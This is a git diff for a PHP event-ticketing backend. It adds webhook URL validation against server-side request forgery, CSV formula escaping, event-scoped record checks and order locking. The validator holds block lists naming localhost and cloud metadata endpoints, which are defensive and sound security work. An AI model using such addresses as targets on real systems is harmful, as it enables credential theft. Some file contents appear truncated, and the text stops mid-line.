diff --git a/backend/app/Exceptions/UnsafeWebhookUrlException.php b/backend/app/Exceptions/UnsafeWebhookUrlException.php new file mode 100644 index 0000000000..a191dd413f --- /dev/null +++ b/backend/app/Exceptions/UnsafeWebhookUrlException.php @@ -0,0 +1,7 @@ +escaper ??= app(SpreadsheetFormulaEscaper::class); + + if ($this->escaper->isFormulaTrigger($value)) { + $cell->setValueExplicit($value, DataType::TYPE_STRING); + + return true; + } + + return parent::bindValue($cell, $value); + } +} diff --git a/backend/app/Http/Actions/Questions/CreateQuestionAction.php b/backend/app/Http/Actions/Questions/CreateQuestionAction.php index 7c65efc1b0..9964ccba50 100644 --- a/backend/app/Http/Actions/Questions/CreateQuestionAction.php +++ b/backend/app/Http/Actions/Questions/CreateQuestionAction.php @@ -9,7 +9,9 @@ use HiEvents\Resources\Question\QuestionResource; use HiEvents\Services\Application\Handlers\Question\CreateQuestionHandler; use HiEvents\Services\Application\Handlers\Question\DTO\UpsertQuestionDTO; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use Illuminate\Http\JsonResponse; +use Symfony\Component\HttpFoundation\Response; class CreateQuestionAction extends BaseAction { @@ -24,17 +26,24 @@ public function __invoke(UpsertQuestionRequest $request, int $eventId): JsonResp { $this->isActionAuthorized($eventId, EventDomainObject::class); - $question = $this->createQuestionHandler->handle(UpsertQuestionDTO::fromArray([ - 'title' => $request->input('title'), - 'type' => $request->input('type'), - 'required' => $request->boolean('required'), - 'options' => $request->input('options'), - 'event_id' => $eventId, - 'product_ids' => $request->input('product_ids'), - 'belongs_to' => $request->input('belongs_to'), - 'is_hidden' => $request->boolean('is_hidden'), - 'description' => $request->input('description'), - ])); + try { + $question = $this->createQuestionHandler->handle(UpsertQuestionDTO::fromArray([ + 'title' => $request->input('title'), + 'type' => $request->input('type'), + 'required' => $request->boolean('required'), + 'options' => $request->input('options'), + 'event_id' => $eventId, + 'product_ids' => $request->input('product_ids'), + 'belongs_to' => $request->input('belongs_to'), + 'is_hidden' => $request->boolean('is_hidden'), + 'description' => $request->input('description'), + ])); + } catch (UnrecognizedProductIdException $exception) { + return $this->errorResponse( + message: $exception->getMessage(), + statusCode: Response::HTTP_UNPROCESSABLE_ENTITY, + ); + } return $this->resourceResponse( resource: QuestionResource::class, diff --git a/backend/app/Http/Actions/Questions/EditQuestionAction.php b/backend/app/Http/Actions/Questions/EditQuestionAction.php index 847f4d0190..c7d27dcd6c 100644 --- a/backend/app/Http/Actions/Questions/EditQuestionAction.php +++ b/backend/app/Http/Actions/Questions/EditQuestionAction.php @@ -10,7 +10,9 @@ use HiEvents\Resources\Question\QuestionResource; use HiEvents\Services\Application\Handlers\Question\DTO\UpsertQuestionDTO; use HiEvents\Services\Application\Handlers\Question\EditQuestionHandler; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use Illuminate\Http\JsonResponse; +use Symfony\Component\HttpFoundation\Response; use Throwable; class EditQuestionAction extends BaseAction @@ -29,19 +31,26 @@ public function __invoke(UpsertQuestionRequest $request, int $eventId, int $ques { $this->isActionAuthorized($eventId, EventDomainObject::class); - $question = $this->editQuestionHandler->handle( - questionId: $questionId, - createQuestionDTO: UpsertQuestionDTO::fromArray([ - 'title' => $request->input('title'), - 'type' => QuestionTypeEnum::fromName($request->input('type')), - 'required' => $request->boolean('required'), - 'options' => $request->input('options'), - 'event_id' => $eventId, - 'product_ids' => $request->input('product_ids'), - 'is_hidden' => $request->boolean('is_hidden'), - 'belongs_to' => QuestionBelongsTo::fromName($request->input('belongs_to')), - 'description' => $request->input('description'), - ])); + try { + $question = $this->editQuestionHandler->handle( + questionId: $questionId, + createQuestionDTO: UpsertQuestionDTO::fromArray([ + 'title' => $request->input('title'), + 'type' => QuestionTypeEnum::fromName($request->input('type')), + 'required' => $request->boolean('required'), + 'options' => $request->input('options'), + 'event_id' => $eventId, + 'product_ids' => $request->input('product_ids'), + 'is_hidden' => $request->boolean('is_hidden'), + 'belongs_to' => QuestionBelongsTo::fromName($request->input('belongs_to')), + 'description' => $request->input('description'), + ])); + } catch (UnrecognizedProductIdException $exception) { + return $this->errorResponse( + message: $exception->getMessage(), + statusCode: Response::HTTP_UNPROCESSABLE_ENTITY, + ); + } return $this->resourceResponse(QuestionResource::class, $question); } diff --git a/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php b/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php index 26688e20f0..348dc68dd5 100644 --- a/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php +++ b/backend/app/Http/Actions/Reports/ExportOrganizerReportAction.php @@ -9,6 +9,7 @@ use HiEvents\Services\Application\Handlers\Reports\DTO\GetOrganizerReportDTO; use HiEvents\Services\Application\Handlers\Reports\GetOrganizerReportHandler; use HiEvents\Services\Domain\Report\DTO\PaginatedReportDTO; +use HiEvents\Services\Infrastructure\Export\SpreadsheetFormulaEscaper; use Illuminate\Support\Carbon; use Illuminate\Validation\ValidationException; use Symfony\Component\HttpFoundation\StreamedResponse; @@ -18,7 +19,10 @@ class ExportOrganizerReportAction extends BaseAction { private const MAX_EXPORT_ROWS = 15000; - public function __construct(private readonly GetOrganizerReportHandler $reportHandler) + public function __construct( + private readonly GetOrganizerReportHandler $reportHandler, + private readonly SpreadsheetFormulaEscaper $formulaEscaper, + ) { } @@ -62,7 +66,7 @@ public function __invoke(GetOrganizerReportRequest $request, int $organizerId, s foreach ($data as $row) { $csvRow = $this->formatRowForReportType($row, $reportType); - fputcsv($handle, $csvRow); + fputcsv($handle, $this->formulaEscaper->escapeRow($csvRow)); } fclose($handle); diff --git a/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php index e7c308047c..ce602b12b0 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchAttendeeWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchAttendeeWebhookJob +class DispatchAttendeeWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php index 02db366898..4cf0cc11b0 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchCheckInWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchCheckInWebhookJob +class DispatchCheckInWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php index e0bca0737e..f5a40416fe 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchOrderWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchOrderWebhookJob +class DispatchOrderWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php b/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php index 978b877a89..75fe7cbb3b 100644 --- a/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php +++ b/backend/app/Jobs/Order/Webhook/DispatchProductWebhookJob.php @@ -5,11 +5,12 @@ use HiEvents\Services\Infrastructure\DomainEvents\Enums\DomainEventType; use HiEvents\Services\Infrastructure\Webhook\WebhookDispatchService; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class DispatchProductWebhookJob +class DispatchProductWebhookJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/backend/app/Jobs/Webhook/SecureCallWebhookJob.php b/backend/app/Jobs/Webhook/SecureCallWebhookJob.php new file mode 100644 index 0000000000..7e4557c698 --- /dev/null +++ b/backend/app/Jobs/Webhook/SecureCallWebhookJob.php @@ -0,0 +1,85 @@ +getClient(); + $validator = app(WebhookUrlValidator::class); + $url = $this->webhookUrl; + + for ($hop = 0; $hop <= self::MAX_REDIRECTS; $hop++) { + try { + $target = $validator->validate($url); + } catch (UnsafeWebhookUrlException $exception) { + throw new UnsafeWebhookUrlException($this->describeUrlFailure($exception)); + } + + $response = $client->request($this->httpVerb, $url, array_merge( + [ + 'timeout' => $this->requestTimeout, + 'verify' => $this->verifySsl, + 'headers' => $this->headers, + 'allow_redirects' => false, + 'curl' => [ + CURLOPT_RESOLVE => $target->toCurlResolveEntries(), + ], + 'on_stats' => function (TransferStats $stats) { + $this->transferStats = $stats; + }, + ], + $body, + is_null($this->proxy) ? [] : ['proxy' => $this->proxy], + is_null($this->cert) ? [] : ['cert' => [$this->cert, $this->certPassphrase]], + is_null($this->sslKey) ? [] : ['ssl_key' => [$this->sslKey, $this->sslKeyPassphrase]], + )); + + $location = $this->redirectLocation($response); + + if ($location === null) { + return $response; + } + + $url = (string) UriResolver::resolve(new Uri($url), new Uri($location)); + } + + throw new UnsafeWebhookUrlException( + __('The webhook URL exceeded the maximum number of redirects.') + ); + } + + private function describeUrlFailure(UnsafeWebhookUrlException $exception): string + { + return str_replace(':attribute', __('webhook URL'), $exception->getMessage()); + } + + private function redirectLocation(Response $response): ?string + { + if (! in_array($response->getStatusCode(), self::REDIRECT_STATUS_CODES, true)) { + return null; + } + + $location = trim($response->getHeaderLine('Location')); + + return $location === '' ? null : $location; + } +} diff --git a/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php b/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php index 71bc8f9966..360975cddb 100644 --- a/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php +++ b/backend/app/Services/Application/Handlers/CapacityAssignment/DeleteCapacityAssignmentHandler.php @@ -4,6 +4,7 @@ use HiEvents\DomainObjects\Enums\CapacityChangeDirection; use HiEvents\Events\CapacityChangedEvent; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Models\CapacityAssignment; use HiEvents\Repository\Interfaces\CapacityAssignmentRepositoryInterface; use HiEvents\Repository\Interfaces\ProductRepositoryInterface; @@ -19,9 +20,19 @@ public function __construct( { } + /** + * @throws ResourceNotFoundException + */ public function handle(int $id, int $eventId): void { - $capacityAssignment = $this->capacityAssignmentRepository->findById($id); + $capacityAssignment = $this->capacityAssignmentRepository->findFirstWhere([ + 'id' => $id, + 'event_id' => $eventId, + ]); + + if ($capacityAssignment === null) { + throw new ResourceNotFoundException(__('Capacity assignment not found')); + } $productIds = CapacityAssignment::find($id)?->products()->pluck('products.id')->toArray() ?? []; diff --git a/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php b/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php index 49abae7e49..9a540be937 100644 --- a/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php +++ b/backend/app/Services/Application/Handlers/Order/CompleteOrderHandler.php @@ -79,6 +79,8 @@ public function handle(string $orderShortId, CompleteOrderDTO $orderData): Order $updatedOrder = DB::transaction(function () use ($orderData, $orderShortId, $eventSettings) { $orderDTO = $orderData->order; + DB::statement('SELECT pg_advisory_xact_lock(hashtext(?))', [$orderShortId]); + $order = $this->getOrder($orderShortId); $updatedOrder = $this->updateOrder($order, $orderDTO); diff --git a/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php b/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php index d9cecaa71c..118c872001 100644 --- a/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php +++ b/backend/app/Services/Application/Handlers/Question/DeleteQuestionHandler.php @@ -3,6 +3,7 @@ namespace HiEvents\Services\Application\Handlers\Question; use HiEvents\Exceptions\CannotDeleteEntityException; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Repository\Interfaces\QuestionAnswerRepositoryInterface; use HiEvents\Repository\Interfaces\QuestionRepositoryInterface; use Illuminate\Database\DatabaseManager; @@ -20,6 +21,7 @@ public function __construct( /** * @throws CannotDeleteEntityException + * @throws ResourceNotFoundException * @throws Throwable */ public function handle(int $questionId, int $eventId): void @@ -31,9 +33,19 @@ public function handle(int $questionId, int $eventId): void /** * @throws CannotDeleteEntityException + * @throws ResourceNotFoundException */ private function deleteQuestion(int $questionId, int $eventId): void { + $existingQuestion = $this->questionRepository->findFirstWhere([ + 'id' => $questionId, + 'event_id' => $eventId, + ]); + + if ($existingQuestion === null) { + throw new ResourceNotFoundException(__('Question not found')); + } + $existingAnswers = $this->questionAnswersRepository->findWhere([ 'question_id' => $questionId, ]); diff --git a/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php b/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php index b355cd00ac..46f37bff88 100644 --- a/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php +++ b/backend/app/Services/Domain/CapacityAssignment/UpdateCapacityAssignmentService.php @@ -5,6 +5,7 @@ use HiEvents\DomainObjects\CapacityAssignmentDomainObject; use HiEvents\DomainObjects\Enums\CapacityAssignmentAppliesTo; use HiEvents\DomainObjects\Generated\CapacityAssignmentDomainObjectAbstract; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Repository\Interfaces\CapacityAssignmentRepositoryInterface; use HiEvents\Services\Domain\Product\EventProductValidationService; use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; @@ -23,12 +24,22 @@ public function __construct( /** * @throws UnrecognizedProductIdException + * @throws ResourceNotFoundException */ public function updateCapacityAssignment( CapacityAssignmentDomainObject $capacityAssignment, ?array $productIds = null, ): CapacityAssignmentDomainObject { + $existingAssignment = $this->capacityAssignmentRepository->findFirstWhere([ + CapacityAssignmentDomainObjectAbstract::ID => $capacityAssignment->getId(), + CapacityAssignmentDomainObjectAbstract::EVENT_ID => $capacityAssignment->getEventId(), + ]); + + if ($existingAssignment === null) { + throw new ResourceNotFoundException(__('Capacity assignment not found')); + } + if ($productIds !== null) { $this->eventProductValidationService->validateProductIds($productIds, $capacityAssignment->getEventId()); } diff --git a/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php b/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php index 11a441deaf..f4c6431a8d 100644 --- a/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php +++ b/backend/app/Services/Domain/CheckInList/UpdateCheckInListService.php @@ -4,6 +4,7 @@ use HiEvents\DomainObjects\CheckInListDomainObject; use HiEvents\DomainObjects\Generated\CheckInListDomainObjectAbstract; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Helper\DateHelper; use HiEvents\Repository\Interfaces\CheckInListRepositoryInterface; use HiEvents\Repository\Interfaces\EventRepositoryInterface; @@ -25,10 +26,20 @@ public function __construct( /** * @throws UnrecognizedProductIdException + * @throws ResourceNotFoundException */ public function updateCheckInList(CheckInListDomainObject $checkInList, array $productIds): CheckInListDomainObject { return $this->databaseManager->transaction(function () use ($checkInList, $productIds) { + $existingCheckInList = $this->checkInListRepository->findFirstWhere([ + CheckInListDomainObjectAbstract::ID => $checkInList->getId(), + CheckInListDomainObjectAbstract::EVENT_ID => $checkInList->getEventId(), + ]); + + if ($existingCheckInList === null) { + throw new ResourceNotFoundException(__('Check-in list not found')); + } + $this->eventProductValidationService->validateProductIds($productIds, $checkInList->getEventId()); $event = $this->eventRepository->findById($checkInList->getEventId()); diff --git a/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php b/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php index b73034b9db..116e802b52 100644 --- a/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php +++ b/backend/app/Services/Domain/Order/OrderCreateRequestValidationService.php @@ -130,16 +130,53 @@ private function getProducts(array $data): Collection private function validateProductDetails(EventDomainObject $event, array $data, ?PromoCodeDomainObject $promoCode): void { $products = $this->getProducts($data); + $quantitiesByProductId = $this->sumQuantitiesByProductId($data); + $quantitiesByPriceId = $this->sumQuantitiesByPriceId($data); foreach ($data['products'] as $productIndex => $productAndQuantities) { - $this->validateSingleProductDetails($event, $productIndex, $productAndQuantities, $products, $promoCode); + $this->validateSingleProductDetails( + $event, + $productIndex, + $productAndQuantities, + $products, + $promoCode, + $quantitiesByProductId, + $quantitiesByPriceId, + ); } } + /** + * @return array + */ + private function sumQuantitiesByProductId(array $data): array + { + return collect($data['products']) + ->groupBy('product_id') + ->map(fn(Collection $entries) => (int)$entries + ->sum(fn(array $entry) => collect($entry['quantities'])->sum('quantity'))) + ->all(); + } + + /** + * @return array> + */ + private function sumQuantitiesByPriceId(array $data): array + { + return collect($data['products']) + ->groupBy('product_id') + ->map(fn(Collection $entries) => $entries + ->flatMap(fn(array $entry) => $entry['quantities']) + ->groupBy('price_id') + ->map(fn(Collection $prices) => (int)$prices->sum('quantity')) + ->all()) + ->all(); + } + /** * @throws ValidationException */ - private function validateSingleProductDetails(EventDomainObject $event, int $productIndex, array $productAndQuantities, $products, ?PromoCodeDomainObject $promoCode): void + private function validateSingleProductDetails(EventDomainObject $event, int $productIndex, array $productAndQuantities, $products, ?PromoCodeDomainObject $promoCode, array $quantitiesByProductId, array $quantitiesByPriceId): void { $productId = $productAndQuantities['product_id']; $totalQuantity = collect($productAndQuantities['quantities'])->sum('quantity'); @@ -165,10 +202,17 @@ private function validateSingleProductDetails(EventDomainObject $event, int $pro promoCode: $promoCode ); + $this->validateProductSaleWindow( + productIndex: $productIndex, + product: $product + ); + $this->validateProductQuantity( productIndex: $productIndex, productAndQuantities: $productAndQuantities, - product: $product + product: $product, + totalQuantityForProduct: $quantitiesByProductId[$productId] ?? $totalQuantity, + quantitiesByPriceId: $quantitiesByPriceId[$productId] ?? [], ); $this->validateProductTypeAndPrice( @@ -194,9 +238,9 @@ private function validateSingleProductDetails(EventDomainObject $event, int $pro /** * @throws ValidationException */ - private function validateProductQuantity(int $productIndex, array $productAndQuantities, ProductDomainObject $product): void + private function validateProductQuantity(int $productIndex, array $productAndQuantities, ProductDomainObject $product, int $totalQuantityForProduct, array $quantitiesByPriceId): void { - $totalQuantity = collect($productAndQuantities['quantities'])->sum('quantity'); + $totalQuantity = $totalQuantityForProduct; $maxPerOrder = (int)$product->getMaxPerOrder() ?: 100; $capacityMaximum = $this->availableProductQuantities @@ -219,14 +263,15 @@ private function validateProductQuantity(int $productIndex, array $productAndQua $this->validateProductPricesQuantity( quantities: $productAndQuantities['quantities'], product: $product, - productIndex: $productIndex + productIndex: $productIndex, + quantitiesByPriceId: $quantitiesByPriceId, ); if ($totalQuantity > $maxPerOrder) { throw ValidationException::withMessages([ "products.$productIndex" => __("The maximum number of products available for :products is :max", [ 'max' => $maxPerOrder, - 'product' => $product->getTitle(), + 'products' => $product->getTitle(), ]), ]); } @@ -265,6 +310,28 @@ private function validateProductVisibility(ProductDomainObject $product, ?PromoC } } + /** + * @throws ValidationException + */ + private function validateProductSaleWindow(int $productIndex, ProductDomainObject $product): void + { + if ($product->isBeforeSaleStartDate()) { + throw ValidationException::withMessages([ + "products.$productIndex" => __(':product is not yet on sale', [ + 'product' => $product->getTitle(), + ]), + ]); + } + + if ($product->isAfterSaleEndDate()) { + throw ValidationException::withMessages([ + "products.$productIndex" => __('Sales for :product have ended', [ + 'product' => $product->getTitle(), + ]), + ]); + } + } + /** * @throws ValidationException */ @@ -327,7 +394,7 @@ private function validatePriceIdAndQuantity(int $productIndex, array $productAnd } $selectedPrice = $productPrices?->first(fn(ProductPriceDomainObject $price) => $price->getId() === $priceId); - if ((int)$quantity > 0 && $selectedPrice?->getIsHidden()) { + if ((int)$quantity > 0 && $this->isPriceUnavailable($selectedPrice)) { $errors["products.$productIndex.quantities.$quantityIndex.price_id"] = __('Invalid price ID'); } } @@ -337,16 +404,29 @@ private function validatePriceIdAndQuantity(int $productIndex, array $productAnd } } + private function isPriceUnavailable(?ProductPriceDomainObject $price): bool + { + if ($price === null) { + return true; + } + + return $price->getIsHidden() + || $price->isBeforeSaleStartDate() + || $price->isAfterSaleEndDate(); + } + /** * @throws ValidationException */ - private function validateProductPricesQuantity(array $quantities, ProductDomainObject $product, int $productIndex): void + private function validateProductPricesQuantity(array $quantities, ProductDomainObject $product, int $productIndex, array $quantitiesByPriceId): void { foreach ($quantities as $productQuantity) { if ($productQuantity['quantity'] === 0) { continue; } + $requestedQuantity = $quantitiesByPriceId[$productQuantity['price_id']] ?? $productQuantity['quantity']; + $numberAvailable = $this->availableProductQuantities ->productQuantities ->where('product_id', $product->getId()) @@ -357,7 +437,7 @@ private function validateProductPricesQuantity(array $quantities, ProductDomainO $productPrice = $product->getProductPrices() ?->first(fn(ProductPriceDomainObject $price) => $price->getId() === $productQuantity['price_id']); - if ($productQuantity['quantity'] > $numberAvailable) { + if ($requestedQuantity > $numberAvailable) { if ($numberAvailable === 0) { throw ValidationException::withMessages([ "products.$productIndex" => __("The product :product is sold out", [ diff --git a/backend/app/Services/Domain/Question/CreateQuestionService.php b/backend/app/Services/Domain/Question/CreateQuestionService.php index c5b2c79310..fe228ccf99 100644 --- a/backend/app/Services/Domain/Question/CreateQuestionService.php +++ b/backend/app/Services/Domain/Question/CreateQuestionService.php @@ -5,6 +5,8 @@ use HiEvents\DomainObjects\Generated\QuestionDomainObjectAbstract; use HiEvents\DomainObjects\QuestionDomainObject; use HiEvents\Repository\Interfaces\QuestionRepositoryInterface; +use HiEvents\Services\Domain\Product\EventProductValidationService; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use HiEvents\Services\Infrastructure\HtmlPurifier\HtmlPurifierService; use Illuminate\Database\DatabaseManager; use Throwable; @@ -12,21 +14,25 @@ class CreateQuestionService { public function __construct( - private readonly QuestionRepositoryInterface $questionRepository, - private readonly DatabaseManager $databaseManager, - private readonly HtmlPurifierService $purifier, + private readonly QuestionRepositoryInterface $questionRepository, + private readonly DatabaseManager $databaseManager, + private readonly HtmlPurifierService $purifier, + private readonly EventProductValidationService $eventProductValidationService, ) { } /** * @throws Throwable + * @throws UnrecognizedProductIdException */ public function createQuestion( QuestionDomainObject $question, array $productIds, ): QuestionDomainObject { + $this->eventProductValidationService->validateProductIds($productIds, $question->getEventId()); + return $this->databaseManager->transaction(fn() => $this->questionRepository->create([ QuestionDomainObjectAbstract::TITLE => $question->getTitle(), QuestionDomainObjectAbstract::EVENT_ID => $question->getEventId(), diff --git a/backend/app/Services/Domain/Question/EditQuestionService.php b/backend/app/Services/Domain/Question/EditQuestionService.php index 11a393a093..d985aa8966 100644 --- a/backend/app/Services/Domain/Question/EditQuestionService.php +++ b/backend/app/Services/Domain/Question/EditQuestionService.php @@ -5,7 +5,10 @@ use HiEvents\DomainObjects\Generated\QuestionDomainObjectAbstract; use HiEvents\DomainObjects\ProductDomainObject; use HiEvents\DomainObjects\QuestionDomainObject; +use HiEvents\Exceptions\ResourceNotFoundException; use HiEvents\Repository\Interfaces\QuestionRepositoryInterface; +use HiEvents\Services\Domain\Product\EventProductValidationService; +use HiEvents\Services\Domain\Product\Exception\UnrecognizedProductIdException; use HiEvents\Services\Infrastructure\HtmlPurifier\HtmlPurifierService; use Illuminate\Database\DatabaseManager; use Throwable; @@ -13,21 +16,35 @@ class EditQuestionService { public function __construct( - private readonly QuestionRepositoryInterface $questionRepository, - private readonly DatabaseManager $databaseManager, - private readonly HtmlPurifierService $purifier, + private readonly QuestionRepositoryInterface $questionRepository, + private readonly DatabaseManager $databaseManager, + private readonly HtmlPurifierService $purifier, + private readonly EventProductValidationService $eventProductValidationService, ) { } /** * @throws Throwable + * @throws UnrecognizedProductIdException + * @throws ResourceNotFoundException */ public function editQuestion( QuestionDomainObject $question, array $productIds, ): QuestionDomainObject { + $existingQuestion = $this->questionRepository->findFirstWhere([ + QuestionDomainObjectAbstract::ID => $question->getId(), + QuestionDomainObjectAbstract::EVENT_ID => $question->getEventId(), + ]); + + if ($existingQuestion === null) { + throw new ResourceNotFoundException(__('Question not found')); + } + + $this->eventProductValidationService->validateProductIds($productIds, $question->getEventId()); + return $this->databaseManager->transaction(function () use ($question, $productIds) { $this->questionRepository->updateQuestion( questionId: $question->getId(), diff --git a/backend/app/Services/Infrastructure/Export/SpreadsheetFormulaEscaper.php b/backend/app/Services/Infrastructure/Export/SpreadsheetFormulaEscaper.php new file mode 100644 index 0000000000..c62fabfde7 --- /dev/null +++ b/backend/app/Services/Infrastructure/Export/SpreadsheetFormulaEscaper.php @@ -0,0 +1,33 @@ +isFormulaTrigger($value) ? "'".$value : $value; + } + + /** + * @param array $row + * @return array + */ + public function escapeRow(array $row): array + { + return array_map(fn (mixed $value) => $this->escape($value), $row); + } +} diff --git a/backend/app/Services/Infrastructure/Webhook/DTO/WebhookTargetDTO.php b/backend/app/Services/Infrastructure/Webhook/DTO/WebhookTargetDTO.php new file mode 100644 index 0000000000..b9e0a44365 --- /dev/null +++ b/backend/app/Services/Infrastructure/Webhook/DTO/WebhookTargetDTO.php @@ -0,0 +1,30 @@ + */ + public array $ipAddresses, + ) {} + + /** + * @return array a single curl CURLOPT_RESOLVE entry pinning the host to every address validated here. + */ + public function toCurlResolveEntries(): array + { + $addresses = array_map( + fn (string $ipAddress) => str_contains($ipAddress, ':') ? '['.$ipAddress.']' : $ipAddress, + $this->ipAddresses, + ); + + return [sprintf('%s:%d:%s', $this->host, $this->port, implode(',', $addresses))]; + } +} diff --git a/backend/app/Services/Infrastructure/Webhook/WebhookUrlValidator.php b/backend/app/Services/Infrastructure/Webhook/WebhookUrlValidator.php new file mode 100644 index 0000000000..665d4176ab --- /dev/null +++ b/backend/app/Services/Infrastructure/Webhook/WebhookUrlValidator.php @@ -0,0 +1,245 @@ + 80, 'https' => 443]; + + private const BLOCKED_HOSTS = [ + 'localhost', + '127.0.0.1', + '::1', + '0.0.0.0', + ]; + + private const BLOCKED_TLDS = [ + '.localhost', + '.local', + '.internal', + '.intranet', + ]; + + private const CLOUD_METADATA_HOSTS = [ + '169.254.169.254', + 'metadata.google.internal', + 'metadata.goog', + ]; + + /** + * @throws UnsafeWebhookUrlException + */ + public function validate(string $url): WebhookTargetDTO + { + $parsedUrl = parse_url($url); + + if ($parsedUrl === false || ! isset($parsedUrl['host']) || $parsedUrl['host'] === '') { + throw new UnsafeWebhookUrlException(__('The :attribute must be a valid URL.')); + } + + $scheme = strtolower($parsedUrl['scheme'] ?? ''); + + if (! in_array($scheme, self::ALLOWED_SCHEMES, true)) { + throw new UnsafeWebhookUrlException(__('The :attribute must use http or https protocol.')); + } + + $host = $this->unwrapIpv6Literal(strtolower($parsedUrl['host'])); + $port = $parsedUrl['port'] ?? self::DEFAULT_PORTS[$scheme]; + + if ($this->isWhitelistedHost($host)) { + return new WebhookTargetDTO( + host: $host, + port: $port, + ipAddresses: $this->resolveHostAddresses($host), + ); + } + + if (in_array($host, self::BLOCKED_HOSTS, true)) { + throw new UnsafeWebhookUrlException(__('The :attribute cannot point to localhost or internal addresses.')); + } + + if ($this->hasBlockedTld($host)) { + throw new UnsafeWebhookUrlException(__('The :attribute cannot use reserved domain names.')); + } + + if ($this->isCloudMetadataHost($host)) { + throw new UnsafeWebhookUrlException(__('The :attribute cannot point to cloud metadata endpoints.')); + } + + $ipAddresses = $this->resolveHostAddresses($host); + + foreach ($ipAddresses as $ipAddress) { + if (! $this->isPubliclyRoutable($ipAddress)) { + throw new UnsafeWebhookUrlException( + __('The :attribute cannot point to private or internal IP addresses.') + ); + } + } + + return new WebhookTargetDTO( + host: $host, + port: $port, + ipAddresses: $ipAddresses, + ); + } + + /** + * @return array + * + * @throws UnsafeWebhookUrlException + */ + private function resolveHostAddresses(string $host): array + { + if (filter_var($host, FILTER_VALIDATE_IP)) { + return [$host]; + } + + $records = @dns_get_record($host, DNS_A | DNS_AAAA) ?: []; + + $addresses = []; + + foreach ($records as $record) { + $address = $record['ip'] ?? $record['ipv6'] ?? null; + + if ($address !== null && filter_var($address, FILTER_VALIDATE_IP)) { + $addresses[] = $address; + } + } + + if ($addresses === []) { + throw new UnsafeWebhookUrlException(__('The :attribute could not be resolved to a public address.')); + } + + return array_values(array_unique($addresses)); + } + + private function isPubliclyRoutable(string $ipAddress): bool + { + $normalised = $this->normaliseToRoutableIp($ipAddress); + + if (! filter_var($normalised, FILTER_VALIDATE_IP)) { + return false; + } + + if (filter_var($normalised, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | 